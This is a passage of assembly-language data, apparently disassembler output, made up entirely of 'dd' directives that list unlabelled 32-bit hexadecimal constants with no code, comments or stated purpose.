		dd 7014D268h, 55A920A5h, 5AF3D8E7h, 107A379Eh, 0E18646ABh
		dd 5451DDC2h, 0D0487569h, 5082B26Ah, 99D5E1Fh, 30B5F95h
		dd 6654EAC0h
		dd 15C9469Dh, 0BA7C0968h, 25C4E41Ch, 0BAF930FFh, 3E26123Fh
		dd 5D60142Ch, 0CCCE551h, 7AB3041h, 9DF55A0Ch, 0CCA1A44Fh
		dd 0E645A06Fh, 540F4517h, 14230301h, 0E47A1B3Fh, 0FA5D8A23h
		dd 0F9AAC4FAh, 0B0797B9h, 0B212DF0Ah, 6C7FBE2Ah, 0F8892CF1h
		dd 85EF0105h, 6A4EC636h, 8005EB5h, 0F7061EE9h, 0C2D3B879h
		dd 0DA5497B6h, 3D36BF3Bh, 28218E78h, 783DDDF8h,	5B66F0F5h
		dd 0C8AB20F9h, 0DDF3D3F9h, 0ECD059D3h, 209D16E9h, 0CCAED0Ch
		dd 0FD7D50B2h, 4A5F80EFh, 0BF575101h, 2D4F3313h, 0B2836535h
		dd 3FDE3242h, 398AE1Fh,	4FF86D3h, 92F4E9B1h, 51D75925h
		dd 524EE9E0h, 0C2302341h, 0B22F1320h, 271B1535h, 190FBB02h
		dd 99D068C3h, 0F54C342Eh, 7731BA07h, 8D9FC09Bh,	8260827Eh
		dd 63005995h, 76D90D18h, 5BD1198Ah, 1F324E8h, 0E736C4E4h
		dd 436EEC32h, 8E313AC9h, 6C0172AEh, 215AD189h, 0C46E8E21h
		dd 3864FE58h, 199AFC2h,	0CC52CA80h, 285AB1F2h, 1B7A4ECh
		dd 2AE5E9F0h, 0C5484F0Eh, 47BB6C5Bh, 34ECDD4h, 0E5B0400Dh
		dd 92A5198h, 0D9F59D69h, 0F2B84041h, 6F095736h,	0C6C207E9h
		dd 2FFE20BFh, 8AB76FFFh, 19A14Fh, 4DF1DFD1h, 4DCE469h
		dd 0A0169D6Ch, 0BD4F0251h, 1DC14ABCh, 3B725633h, 0C04F86F9h
		dd 0A965A88Bh, 0C5FC085Bh, 6498B354h, 80D33DB0h, 255BD896h
		dd 0C93C0F01h, 4E8C14Eh, 243606B7h, 5428E3DEh, 0EC921D62h
		dd 7A09BA70h, 86535DC6h, 4A2CD5F1h, 4FC4ADBDh, 0D55830B8h
		dd 0C77CF02Fh, 0CB810B69h, 3E166BDCh, 686FC05Fh, 8C6F4B8Fh
		dd 4E4B64DDh, 7CC946E8h, 28EC082Dh, 7D1AC121h, 212A6FD0h
		dd 113521B0h, 0CF4003E5h, 58F5E1ACh, 192D7D0Fh,	7BE39C27h
		dd 0BAFA4E33h, 6D15B800h, 0B9212857h, 0C1310305h, 33D90158h
		dd 2E5B5999h, 1393FDBCh, 7F5AADA4h, 0D899DCA0h,	257D4E95h
		dd 18773668h, 24747CC8h, 7262C0h, 6B204190h, 58BEE921h
		dd 739CAC2h, 0C9281BBh,	0DC0B3B6Fh, 84548556h, 0DFC070F8h
		dd 815AED10h, 7BA2F200h, 0D1316DDDh, 977A5DE9h,	6E996D5Eh
		dd 3B587B19h, 682C002Ah, 3238420Dh, 340F5875h, 65011C3Fh
		dd 3C5E66E6h, 6657A209h, 0A0D0F33Fh, 0BCE9310Eh, 7A5A5EF5h
		dd 23FEE98h, 812FBF48h,	717401C5h, 0D001A04Ah, 0C755E973h
		dd 0E2FF5C02h, 1E66FD74h, 2D092F90h, 0CC3E9773h, 21441381h
		dd 85F80564h, 5D3A968h,	26A37C41h, 0B0C2B1C4h, 2597D62Bh
		dd 0F95BFCD4h, 8051FE23h, 0A1244F5Ah, 0A3C6556h, 47FE0143h
		dd 7EC0F3FEh, 0BF794AA0h, 0BEE3C89h, 3D8A681Ch,	51595C2Fh
		dd 708D7F29h, 3F38A52Ah, 0FAF559F9h, 0A141818Dh, 272B9A4Bh
		dd 0A0E6852Ch, 6C1CB96Eh, 81DE3642h, 0DD4440C2h, 79017F27h
		dd 0CEAC093Eh, 0DC4BD80h, 515C0ADBh, 4BE83987h,	61461AAh
		dd 0CCB33AD1h, 0C875899Fh, 0C7809D5Ch, 78FCC357h, 0C4FE4831h
		dd 55107F27h, 70822A3Eh, 0D6AB2F34h, 64B70ECEh,	6F5A5C52h
		dd 708001D6h, 3D450825h, 4A9F0127h, 4C2973E9h, 0FDDF6507h
		dd 0CBE6584Fh, 6F895F5Bh, 0DF113277h, 4CC10B1Ah, 9AB76FC9h
		dd 0FB00BB20h, 0C2E38144h, 0B7620615h, 52516403h, 2A0EC3F9h
		dd 8EDC788h, 36F46AB3h,	0DF011704h, 41EB13C5h, 0E1093D4Ch
		dd 29EC436Bh, 750591A9h, 6EE33F59h, 0A66DE90Bh,	38687BFAh
		dd 9827DDB7h, 0F268581Fh, 56E3C478h, 8480EDBDh,	0B0B8620Fh
		dd 0B3754FC4h, 6AB05115h, 0E70B97A7h, 0CC02D757h, 3A52C7B7h
		dd 0A254A7Fh, 808BFA0Ch, 60A26E8Ah, 4CC60C5Eh, 1EC363A4h
		dd 97555704h, 6CC0F6BEh, 1288EC80h, 0EFE3285Bh,	2568618Ch
		dd 5E1870D2h, 0C5BDA1F1h, 5C98BEC3h, 0BDF64FCAh, 9D2DEEE6h
		dd 58C2DE20h, 100CB151h, 6CBE980h, 5CE1EC98h, 0B620F97Bh
		dd 16FC5B4Ah, 222CAB5Ah, 0D2182DE9h, 0A2FAC616h, 2D985592h
		dd 82BF2620h, 2AB5DFAh,	7DCB0B7Eh, 0E89FC21Eh, 100FDBC2h
		dd 9ECB785h, 0B0016F68h, 9C1793A4h, 297F69F3h, 9E25D05h
		dd 478F66B8h, 6850201Ch, 11C310E7h, 1F4D2CAh, 0EC2DDE53h
		dd 6AE7ED41h, 0B9F1D093h, 202EC40Dh, 51FB68AAh,	4864D19Fh
		dd 0D96E6290h, 2ED6E6FFh, 629818D4h, 0BA059541h, 0B6C80FFh
		dd 4E0BCA81h, 0F76A965Ch, 4F82E948h, 8B3F5024h,	7B6C6602h
		dd 3ACAF691h, 0F7906169h, 61D4CF56h, 0F6580221h, 62F380DBh
		dd 807E63DAh, 54C5E9F8h, 9E6C852h, 53851879h, 0F6826057h
		dd 280E0BA8h, 0DDF00147h, 0E6207A25h, 54C25F7Ah, 0D650965Ch
		dd 0A9520BF5h, 4057F39Ah, 0A99601CBh, 7838F1D5h, 2325AED7h
		dd 0AB016D85h, 4F6156F0h, 0B1A07530h, 76620066h, 0D4B92C92h
		dd 75156512h, 0DF41994Bh, 0F4F12891h, 4BB7FBF8h, 51E1E143h
		dd 0CACF5435h, 6231C0F7h, 708482ADh, 0F50BFAFFh, 2CD4A776h
		dd 0E9ED0483h, 26809709h, 67B1D4B6h, 5A02F130h,	0BC68D9F6h
		dd 0AD80B04Dh, 0F500823Ch, 0F9F3228h, 2CFAF5FCh, 6E981B9Ah
		dd 2AF539Dh, 7E6B2711h,	343E52E1h, 0B1B7582Dh, 5021F843h
		dd 593036ACh, 88053CC8h, 0C7090916h, 3D8B655Dh,	31444E83h
		dd 0B7AAE90Ah, 0E0EFD2FDh, 7A6C2505h, 849087Dh,	91655B16h
		dd 6854C0EBh, 7BAA7031h, 7BF7A346h, 0A65A5CB3h,	0E3D06082h
		dd 2D442337h, 39F827E9h, 2ED4E69Fh, 8910AEFFh, 0C196045h
		dd 68B73B55h, 6FA6E982h, 5FC0255Fh, 544CFBB8h, 95D036Bh
		dd 0C0C87E68h, 58523B94h, 9D92482Ch, 0E448B310h, 0C57D89CBh
		dd 4CE98979h, 1A7BFA2Bh, 5632E942h, 478E25E3h, 9740E53h
		dd 0BD4E38DCh, 536298B2h, 4C549F5Eh, 8277815Ah,	0E1D6B847h
		dd 0D808632h, 2D5DEB31h, 180B26E5h, 8D80154h, 0FD250830h
		dd 431F84AEh, 2892B353h, 0BE64C3ACh, 0C1AC165Fh, 0C2955037h
		dd 0AE50AA33h, 49BF605h, 0B9F6CA76h, 9B22C10h, 317A9568h
		dd 1E4015DBh, 0E0774FC3h, 0FB292D4Eh, 5513CE59h, 69DA7F2Dh
		dd 0C33529CBh, 30B9A02Bh, 62876082h, 0AA842FE2h, 824C408Ah
		dd 0FE49CEC2h, 0D5522360h, 0E9E1D195h, 0A78665F7h, 0AA484851h
		dd 0BE59E400h, 4EDBE95Ch, 557A9C66h, 0F14F6842h, 20E82B91h
		dd 9DFF084h, 0E06DF66h,	544F2BB4h, 1C831C0h, 6E50589Eh
		dd 450DC436h, 85F762B5h, 8EAE6684h, 5468022Dh, 4A65D8A2h
		dd 63C5D544h, 36AE6805h, 0AD091952h, 0EA6C75D9h, 442083B0h
		dd 8709452h, 10C6109h, 92582BC2h, 5EC280B1h, 0BA42D6ABh
		dd 22E63A2Dh, 60AA91Ch,	0FD277F1Ch, 0A7C7BE16h,	2F4CF4E9h
		dd 0EA601E34h, 173A890Eh, 6F098718h, 7CEB1C7Bh,	30590904h
		dd 369055FAh, 74A44753h, 3F069731h, 49E002ECh, 0C338D4BBh
		dd 63900122h, 0DD7F3A7Fh, 2066A95h, 750EE908h, 79FDBD62h
		dd 0F9E26971h, 15AD5286h, 6A70419Dh, 419E17Eh, 8FADF99Bh
		dd 52B30DE9h, 1017C440h, 971248Ch, 0E42009B3h, 2727B4D5h
		dd 89C57E3Bh, 4EA86B0Ch, 0F65B045Ah, 0F8E188D4h, 89998564h
		dd 0AB5BCDF2h, 5A683420h, 0FF9A9F73h, 5F07CCC5h, 0C524E831h
		dd 95A9CC2h, 0C60194DCh, 48E66ED6h, 0EEA32C3Fh,	773F570Dh
		dd 453A2A37h, 0EFAFE944h, 17EBC8Ah, 1B23226Ch, 3D8A59E9h
		dd 68870409h, 30EA6175h, 5A292B47h, 52BF515Fh, 0E8DBBBEEh
		dd 5614E917h, 0C672BF1Bh, 9442D5D1h, 786AD1D6h,	18CCDD0Ch
		dd 188BCD1h, 700720B2h,	570E8049h, 0E976AC60h, 0A46C5B16h
		dd 6CFD900h, 620F69FAh,	175FD683h, 0B503A853h, 681621FEh
		dd 9354412Eh, 0C4863C9Ah
		dd 58051016h, 24A71C80h, 0B703080Fh, 0C6215B05h, 2F318DEBh
		dd 0FC8586C2h, 6BF6C051h, 0C7B06A65h, 73CBEE5Ch, 0B1B98214h
		dd 401139C7h, 66B42468h, 915667CDh, 0F66B5097h,	0B58A93C0h
		dd 0F6665280h, 888E1DB0h, 0B15889C2h, 7D08C503h, 0D85AAD27h
		dd 4BEF1E8h, 0FD4A5198h, 47266859h, 0C5C25A3Bh,	5B88EC56h
		dd 0E7A612AFh, 2CE59178h, 0D2085121h, 0A2680431h, 3E158D0Ah
		dd 3B14FE80h, 0F6B80027h, 51CE357h, 0C62F2CC9h,	80B8D06Dh
		dd 9A1BE907h, 0B7F8E04Dh, 487AB7FEh, 95ED3828h,	47E3057Ch
		dd 698B070Bh, 0A31580BCh, 2A09DC1Fh, 0A7DE295Fh, 251345F3h
		dd 7888FA2Fh, 0B554F64Ch, 275406F6h, 0D879AECDh, 0E38156C5h
		dd 29022555h, 1E6F7055h, 35780347h, 865C8312h, 0F3C7214Fh
		dd 5738A0A0h, 4E06B0FEh, 0E0AEC953h, 569FDC22h,	665F561Dh
		dd 7AE0085h, 8710BA55h,	0EFB9C228h, 5861F9F5h, 649FC9E9h
		dd 2F0AB108h, 29629B79h, 219960C3h, 9F6AE078h, 77711570h
		dd 0E3C0424Eh, 166F1047h, 0CDEFC8E9h, 0BF6881A0h, 431C3D9Ch
		dd 40B137Fh, 9319DAB4h,	24A3C5D4h, 0DD291BC0h, 4D4866C1h
		dd 42F11BEh, 4941D5A8h,	3E164BC7h, 309709CCh, 0F202BE39h
		dd 6A8CE959h, 136E755Ah, 0A047DF27h, 34AF6D5h, 0C82FF3Ah
		dd 58861222h, 0E947825Fh, 9FCD502Eh, 0F00CD8CDh, 6B0182E3h
		dd 3A761AFBh, 0F30FA1A0h, 0CB744923h, 886D5F13h, 0DD5A1FB2h
		dd 0A372C826h, 0EC805C02h, 5CE108DEh, 21105225h, 1D483D68h
		dd 0F7B7C4E2h, 62D09184h, 2C7B78BEh, 31A2Fh, 0B8A026Dh
		dd 115C0AE9h, 0C529A0BDh, 4A557F58h, 0EBC7121Ah, 0D16761Eh
		dd 3AA9AC57h, 0EC421188h, 4C86A4A4h, 2F45CDBAh,	52CED6C8h
		dd 4B02DE36h, 89B0F7B3h, 0F36E6177h, 2824E96Bh,	7CBDF21Dh
		dd 8204C9A5h, 9E01D843h, 0C8112165h, 0BFAA65EFh, 49B041F4h
		dd 0F83B80E7h, 2D679690h, 3C9C5D54h, 0B8685103h, 1638BB2Dh
		dd 0E34DE2F6h, 0FD2B26E8h, 74296884h, 4C0C9BD8h, 7D2DED8h
		dd 0C509AA7Dh, 413EFC75h, 8C6CBA4h, 685566A0h, 0D0F3605Eh
		dd 82B6FC4Ch, 0B047F520h, 28B1883Bh, 0B25219D7h, 0C65A0AE7h
		dd 805BBDE0h, 412EA03h,	81CF2CD4h, 6AF1E9D0h, 102FF3A4h
		dd 2BBD029Eh, 4060F971h, 2E14ABB8h, 2315C21h, 3042295Dh
		dd 2D1344D7h, 83A6F03h,	5C90D9C3h, 0BD042A8Ch, 3BAAC7A4h
		dd 0ED80D0EFh, 1E256B49h, 257FDE11h, 9A78B4DFh,	0CABE0373h
		dd 46194454h, 291808Dh,	429580E9h, 5BDCCC7Ch, 58992251h
		dd 0C3312783h, 0C8F7D9E2h, 1315BB59h, 0C440EE04h, 1E238024h
		dd 6309E730h, 205909E9h, 543EE343h, 4304381Ah, 0BE0ED5CCh
		dd 8C54A244h, 4F72F904h, 117AB809h, 0F34B5E39h,	0CAEF2802h
		dd 3CC0D726h, 0BCF3E905h, 0E9F98AEh, 79933918h,	791B26E6h
		dd 5E54C0D0h, 6B12BA52h, 0E9130307h, 750BDB04h,	682F6EECh
		dd 7ECF0BA9h, 1FF05A83h, 8C609B00h, 0E76E6871h,	86934926h
		dd 752F3DDFh, 7EFB8E98h, 0C81AD825h, 7270F226h,	0FE6F5FD5h
		dd 0BD484204h, 0B8BF30ABh, 0B22E68ADh, 0DB022C35h, 0C014C36Eh
		dd 2F094A35h, 1C740A6Fh, 1CD008A0h, 34A94814h, 231D1EF1h
		dd 0AF50D349h, 94AAB5CFh, 28E220D9h, 749B515Dh,	66610372h
		dd 26AACB9h, 4152EAFCh,	15FE1CBBh, 0F7879A5Dh, 0E724E3D6h
		dd 43B11D5Ah, 2871E16Fh, 0CC9510F9h, 82686604h,	5247A40Dh
		dd 802EB605h, 0C3BEA6E6h, 0C09DFEA0h, 5366EDFCh, 5846B738h
		dd 0AD3F10D4h, 7206BB00h, 0C2811CAEh, 3014E009h, 9735F02Ch
		dd 595B395Ah, 30C263F7h, 0F1F55AF0h, 0C04792C0h, 449E6826h
		dd 16C215C4h, 5548A2A2h, 12DD772Dh, 92317F7Ch, 63B92A44h
		dd 0C2BCE393h, 75F5F8E9h, 1097B2Ah, 3242E2E5h, 8EC9DB1Fh
		dd 0E98AE8EEh, 20CD672Dh, 297B0BE9h, 0DB2D0E32h, 0CA3D3828h
		dd 250705D8h, 1EE804A2h, 49E38000h, 0A03FE7C0h,	3C4BD692h
		dd 26512888h, 80203F58h, 6A253AAFh, 0DC4E33E9h,	775B8E22h
		dd 7B2D4FEFh, 33110A4Dh, 8B2BCF85h, 0E55FBDE2h,	0A7B1887Dh
		dd 0C5847E27h, 5F11AD08h, 496F7F92h, 6F3D5F1Eh,	9D59B706h
		dd 89050C2Ch, 881AA45Bh, 0E90E04ABh, 0EEBAD574h, 0CF09AB1Eh
		dd 9378D951h, 4ABEB896h, 99331ADh, 225657DFh, 26F05651h
		dd 62F19578h, 8A659243h, 45D5C10h, 0FC0FD668h, 3898C429h
		dd 58DC01B5h, 0C22837Dh, 6AB29707h, 3FE822DFh, 9573CC7Bh
		dd 815C7349h, 236DBF5Bh, 0D0F91741h, 533B7C2Ch,	0D0D3AE16h
		dd 5A73FDAAh, 0D9462225h, 0D6F6093Bh, 0D0819155h, 808243C2h
		dd 0B5102CD8h, 548B23B3h, 0E05766B2h, 4A882730h, 0B653ABDDh
		dd 0C1075E6h, 0B55101ABh, 6EDC0DEh, 9502E5CCh, 0AA19317Eh
		dd 0F5D80810h, 0C5B21276h, 1230E866h, 31A3C8D6h, 0ED267A58h
		dd 49B2609Dh, 3DE46C04h, 2C74AFB0h, 0C4F9E2E5h,	0C9985449h
		dd 0B78A5A85h, 993A169Dh, 73B13E4h, 5A17F17Fh, 2CC97342h
		dd 0EFEC2513h, 204750D0h, 0B84B02C4h, 0F546499Fh, 0F530EA7Fh
		dd 0E9703051h, 1E0B9F38h, 7ED28AD4h, 2860EDFBh,	0DDFBE5C3h
		dd 0A2C26F40h, 0C03F254h, 34B068E7h, 0D14DB1CBh, 13FA2CF8h
		dd 0FD658925h, 0A725080h, 0BD1ABC05h, 0D59C47AAh, 0CCE91BA2h
		dd 0FFB04A58h, 10465912h, 0F59760BEh, 0F12C1FB3h, 85274C0Dh
		dd 55285F29h, 0D9510437h, 0EC60E903h, 76B30B6Bh, 903DD8C0h
		dd 88ABC65Bh, 81021E9Fh, 0EAF5A7F1h, 9627DE4h, 0BA4B105Fh
		dd 3418184Ah, 2387AE0Fh, 0F70A820Ch, 9D610D2h, 8919B63Bh
		dd 0EA09B550h, 0EEAE18E9h, 4B6812B9h, 3C17F319h, 16E61A70h
		dd 5994AB30h, 67BDE090h, 9D0C141Fh, 97DB30E9h, 0B46E0055h
		dd 7068537Dh, 31007F5Eh, 0C1D3F75Bh, 4AE905E3h,	5A8804EDh
		dd 0FCB68328h, 92244025h, 0F3E45704h, 2A6C8F09h, 3A03743Eh
		dd 812E1D80h, 1B6DF3C9h, 1FF27F58h, 0BF8AFC90h,	782D9129h
		dd 0BE0220B3h, 272C40E6h, 0F6132394h, 43671703h, 250E044Eh
		dd 0A048643Bh, 9E49E9FDh, 0D78927BEh, 470B2B94h, 90ABA0E9h
		dd 0B8233BF0h, 4B68F6CAh, 0FE6274F1h, 5E6EA02Ch, 8377AFBAh
		dd 0C390E1C4h, 93055368h, 88200AF6h, 0FE510BE0h, 59012103h
		dd 0E586C5A8h, 8CFC4F2h, 0D66D0980h, 6D523591h,	13A93E97h
		dd 0F6033D2Dh, 0C693F031h, 3727087Bh, 0BEFD9820h, 0D42A00C9h
		dd 0ED73BD01h, 3112DE23h, 4EFE5EF5h, 9F87CEA1h,	880E080Dh
		dd 0F7FA49CFh, 4A22E4C5h, 4D52D2D2h, 0DB1091BDh, 0C32813A2h
		dd 0B205B3CAh, 0E10668AAh, 0A34A30F1h, 0DC56E99Fh, 0AF95D1F6h
		dd 40DF684Ah, 5B747391h, 9C10EF30h, 0C5386208h,	1EA97BA7h
		dd 225C6547h, 38EB663h,	725FEB4Bh, 39DF64CFh, 5000F250h
		dd 0BF6A0A68h, 5525817h, 137DDDBAh, 27C0FE64h, 0EC156229h
		dd 540604EAh, 0BC214391h, 0DBD10032h, 0C389CB10h, 0BF69B758h
		dd 0BFC16441h, 0FB7E42E1h, 2FC3F0C1h, 52A607CDh, 0BF5740F0h
		dd 0B5272EC6h, 0F70F5831h, 3082D32Eh, 829D66B9h, 58F5050Ch
		dd 40F5C12Ch, 0DFB44C2Ah, 0C3E9C278h, 0A148BC84h, 346B5C01h
		dd 0E8CB1763h, 649F117h, 69772D02h, 0B53B058Eh,	32929799h
		dd 0DBC90AB5h, 0C0507260h, 0DEC9EFCFh, 963D246h, 0A18743F0h
		dd 113491E9h, 2283AA31h, 77B43293h, 0B096671h, 89F75151h
		dd 0CC5412E9h, 0EB9CDF2Dh, 139351B7h, 0D11BA48Fh, 0BA623A91h
		dd 0A6F8201h, 4590799h,	123AE8F8h, 9CF3D5DBh, 4CC88E11h
		dd 2DA713B5h, 307905A3h
		dd 0C799A394h, 25301377h, 6444FE47h, 18726028h,	32380E04h
		dd 3115F2A0h, 40BE5DFAh, 6C9008A0h, 34FBFB4Ah, 0D25C82E9h
		dd 0F845A05h, 0E6BAF290h, 4979484Eh, 5260E205h,	0D101BB9Ch
		dd 2CA01461h, 3F87B343h, 57E25043h, 0B6EC0128h,	9041F420h
		dd 3F980998h, 676A01E5h, 0C45DCE12h, 0AFBA076Ah, 0A40F6C2Bh
		dd 0C127D499h, 0ADFFEB85h, 0C0475803h, 562E3518h, 48BF7D4Ch
		dd 0D2CBC57Eh, 0FC568524h, 922A48Fh, 83570529h,	7D023E1Dh
		dd 6CA86402h, 559A6109h, 0F190D17Ah, 0D8379DD3h, 1C8FB0CEh
		dd 0B0FC5814h, 2D801EB6h, 0BDEEEC6h, 0DF6DE60Bh, 0E9BE8721h
		dd 86754Bh, 0F7BBD1A4h,	0B6FD6E4Eh, 1F18EB05h, 628A141Ah
		dd 0C9901C12h, 8AC2F95h, 0C87E9B2Fh, 0D3C50569h, 110FADA9h
		dd 0F765F835h, 6145ABD5h, 68BC8296h, 0BD8680C5h, 74051D46h
		dd 0FFEBF8CBh, 3C596809h, 0D67DE2C2h, 9D246FE9h, 2AA9AAC9h
		dd 0BFBE7878h, 4FDE5B6Ah, 2C5DA0B9h, 175D3DB0h,	0E3A927CBh
		dd 0F61DA87h, 18A86876h, 1DC0073Ch, 2D74F05Fh, 0CF5C5B01h
		dd 5E80134h, 81E90740h,	0EDC5B766h, 35476805h, 19644BDh
		dd 0D2400F23h, 20810476h, 0CD2BE0A7h, 25E37ED3h, 189AEB10h
		dd 6C9C5450h, 14848257h, 0EFD5E4ACh, 0E52D6214h, 0B00B2687h
		dd 0ED805A82h, 50A8C03Ch, 4E99B830h, 0C36A9061h, 0F42F2192h
		dd 2535FE31h, 0B75E04E0h, 60D13A95h, 0A657A90Eh, 17B0F089h
		dd 0E8451F1Bh, 0E4540148h, 0C581BAE0h, 642BE56Ah, 0A04DC85Bh
		dd 1CBC4FE0h, 2F28332Fh, 1C3C0791h, 237EAB7Fh, 590B0720h
		dd 0DBCDC4E9h, 47FCB284h, 0BF62DBD4h, 0DB7809EFh, 0BAB8595Eh
		dd 9BBCC35h, 512C453Bh,	567F5C10h, 0E36C7830h, 1D7CF6C5h
		dd 0BC293FCAh, 9F08ED28h, 0B0BE5130h, 67EF8080h, 76106B7h
		dd 51C787E7h, 244E60E9h, 0F83C01C0h, 62A1AD53h,	0C1F9F5A5h
		dd 0E9C8BFC0h, 0DCBE4844h, 0AE09CFB7h, 0C349B372h, 55B3406Ah
		dd 3B019FFAh, 3D51E381h, 0F3D83388h, 0BC261808h, 3E5D0C41h
		dd 0C0344Ch, 2359DBEEh,	0B0DE012Dh, 0D60888BAh,	616AB95Ah
		dd 85B8DEE9h, 0CDC380B6h, 0EB16C3BEh, 554194AEh, 4013E07Eh
		dd 390CA6B8h, 6C688538h, 551F165Fh, 86A40160h, 8218D377h
		dd 6B7CD50Ch, 5EC8E1EEh, 3220C2CDh, 202D813Dh, 0E001D36h
		dd 4DBB5F05h, 98C601BEh, 370B2723h, 89ED64A5h, 0DD76825Eh
		dd 0E142E82Eh, 0DC065369h, 0B1623409h, 39176940h, 6111A7h
		dd 2B28658Fh, 0BAD2D8F6h, 934EB4CAh, 0F1B25731h, 0BD3C31C0h
		dd 1C09ABBBh, 55CF2999h, 0DEA131BEh, 8DD6CE19h,	0CC163860h
		dd 0D9F72D6Fh, 49A99177h, 0ECE9C0C7h, 3EC4586Ch, 0AFBB5B17h
		dd 568AB930h, 2C1C4BD8h, 7005BBCAh, 0C3E9496Fh,	1C64B2ABh
		dd 77E5478Fh, 3A6069BAh, 2AE1A603h, 0E9F0F3ACh,	0DBA88DD0h
		dd 8B3D63A7h, 0A2F6135Eh, 0DD704127h, 75BE7607h, 0C56E752Dh
		dd 51CD2E82h, 594CAF79h, 907FF025h, 30C00155h, 0DE0C05EDh
		dd 765F7FE9h, 60AF5665h, 369FE923h, 1CAD7BD5h, 0E897C531h
		dd 1A3BC60Bh, 0D7C78230h, 0F43FAD3h, 4DD4575Ah,	0AE255965h
		dd 4190C54h, 7F1A7490h,	0BF0787BEh, 8E22FE36h, 77465FCFh
		dd 8D6F1BDh, 0B809981Dh, 3D860664h, 4C1B174Ah, 914BCC1h
		dd 0F65B8BE9h, 54E6507Fh, 0CEEAD073h, 0FBE9A217h, 1B7E2954h
		dd 0D027C606h, 0E516615h, 0C9FED988h, 0E13CB8Fh, 31F0B290h
		dd 0BC58E25Bh, 0F4D2FF28h, 2060B007h, 212FF57Dh, 0C6809552h
		dd 0D05080EFh, 68EE2925h, 0B401888Bh, 0F83040A2h, 50195B66h
		dd 0AC8A22B0h, 5216D76Ah, 89ACFFE9h, 213B34Eh, 0E8A1E5A9h
		dd 68EBC16Bh, 0A0842E16h, 0E93528ABh, 0A100F34Ah, 365C4005h
		dd 0F8DCBF25h, 0E595ED0Fh, 0F0EE0DF4h, 9BBC4722h, 16B41E2Dh
		dd 67555468h, 9A7A244Eh, 165D25C3h, 2708FF8Eh, 6F413B41h
		dd 0AC233CFCh, 1F3F3348h, 0FE667992h, 0AA680F02h, 0CE3D9049h
		dd 51D70B36h, 31E27CE9h, 605BD9C9h, 535006B2h, 1F08308h
		dd 596FC9Bh, 0F17827B1h, 7ABBE2A7h, 0B2A730E5h,	27CEFFE9h
		dd 9F0E92Dh, 406BFD7Ah,	7EC04DD1h, 272CDFE3h, 59B98137h
		dd 614CC54Ah, 6157F025h, 5249B62Dh, 0F380BDCh, 0A0FFACEFh
		dd 0C52DF899h, 10025C07h, 0F5A22827h, 0CCA9BB20h, 0AB127E8Eh
		dd 0E909E2B7h, 53DAE50Dh, 0AA379B04h, 0A8844F39h, 4E3088FCh
		dd 327CB9FEh, 0FB865Ah,	2E6CEBFEh, 8CB0437Bh, 889CAF1h
		dd 756F5960h, 856E223Eh, 0CD1CC6E2h, 13C24E80h,	40DD3E29h
		dd 0D6C7EA1Dh, 0AE1F0491h, 13B5E383h, 84B2BCD0h, 0E3C41065h
		dd 1109102Ah, 35824838h, 696B3445h, 55067B50h, 0F69CE952h
		dd 165C4B42h, 0D1E739D1h, 0CBA77B96h, 8F14E982h, 8E0CAE44h
		dd 2452A245h, 42AE2EEh,	5AE9744Dh, 81EA128Ch, 95D895h
		dd 142322BEh, 9B090863h, 58C93501h, 0AF21421Ch,	480DFAAh
		dd 7506BFF2h, 0DCE9470Bh, 6B65DFBAh, 75E26AADh,	3F01A049h
		dd 0B1255127h, 7F0CE220h, 5000BF29h, 7BD876C2h,	0E7F0D176h
		dd 576A100Bh, 0D0CC8F6Dh, 8065B40Eh, 0A1FE0FE7h, 8B07E4C0h
		dd 2F6904Eh, 0D52D8CD7h, 7C904C1Ch, 2B5AC40h, 80E5D062h
		dd 2F61F8CDh, 0C0B13C70h, 0F6C2FE96h, 0B7531DD2h, 0BCCFD61Fh
		dd 272C4866h, 2EBAC38Ah, 1EE4081Ch, 75DFCB3Ch, 0E1F843E9h
		dd 84823ACAh, 0C21DDE59h, 947FCB0Ah, 49EB4C88h,	2F67DCDEh
		dd 0CAEB66D1h, 0DE8CD706h, 14BE980h, 79317688h,	0A58E67EBh
		dd 0A42FF350h, 0B7CF1B3Fh, 61B208F9h, 62C5759Fh, 47D29025h
		dd 0BC6DB9CCh, 96CD9B24h, 0B2A1EACh, 9F6EB010h,	613C4295h
		dd 177B912Ah, 0F7B0FDFEh, 913964F9h, 2D8E390Eh,	6A2B7DB9h
		dd 0E984A6C7h, 0FF05B58Dh, 45C00577h, 8638E954h, 202D3B51h
		dd 0F5A3559Ch, 9D00A2BBh, 0B67DBCB9h, 6BF1813Fh, 9D00DB8h
		dd 0C5DAE527h, 97130899h, 68665B01h, 0D52F427Ch, 404100D2h
		dd 0E976B652h, 5B67AB2Dh, 9DCCA5A5h, 8BAF07D3h,	61BE4B14h
		dd 5A6A986h, 57EF6901h,	0E820362Fh, 236C12CBh, 536C16F2h
		dd 970DEDC0h, 9A6A47CDh, 0AD225E2Ch, 7E05018h, 8E7C14Fh
		dd 0CA0039D1h, 0A317A1CDh, 0C0F8212Ch, 0F9D36B0Bh, 0E2710AFCh
		dd 0FFFB92DFh, 62A11BD0h, 7F6748BDh, 9807E928h,	428220EDh
		dd 934F5FF6h, 7910D9CAh, 271658B5h, 0F1B45D26h,	3466E913h
		dd 72C57EDh, 40382636h,	8F2026FCh, 82335EBFh, 2410685Fh
		dd 0D5C0857Ch, 0B56D540Ch, 0DE5D96F8h, 39B74AA4h, 1450CC4Fh
		dd 843EBC41h, 85F0A9E4h, 2FA58C3h, 1CB607B7h, 4FB4865Dh
		dd 1A57950Fh, 23C7F5FDh, 583FE904h, 611004ADh, 1FEB4B54h
		dd 81B5D3BCh, 20A0B962h, 89A07876h, 9E304BBBh, 267CD225h
		dd 1A035D5Eh, 7790E90Ch, 5A48D1F5h, 944F7AAFh, 2FF62C74h
		dd 1BFFE92Eh, 0BAFDE8D6h, 256A290h, 0F7480982h,	0C1044DD5h
		dd 93ADBCB8h, 69D43EACh, 10CF3460h, 3D5A3B62h, 843F502h
		dd 1087C8Bh, 1D489A2Dh,	0C9DAD660h, 2BC343FBh, 0C00905C4h
		dd 11F131C4h, 0B54E8C20h, 0E9129294h, 1945FA19h, 3FE842EEh
		dd 0AD69D12Ch, 3B3A1BF3h, 0D1DD24D3h, 7FDF991Ah, 44D3576Bh
		dd 0D7486177h, 1C6D047Ch, 0A785492Eh, 2A14CEBEh, 0C2B7A406h
		dd 2867FF51h, 7E90831h,	71059A24h, 0BDAB30FEh, 803E5962h
		dd 5AA86B5Eh, 5808A172h, 0C65AF93Bh, 0FCB2C6D3h, 3BD52968h
		dd 59548BE0h, 0BABF7552h, 5442FF98h, 4BB76C57h,	0AEE1849Bh
		dd 980220E1h, 58BAA2A7h
		dd 45CC7F09h, 5CF38102h, 0D767FA69h, 0E94B1785h, 56247679h
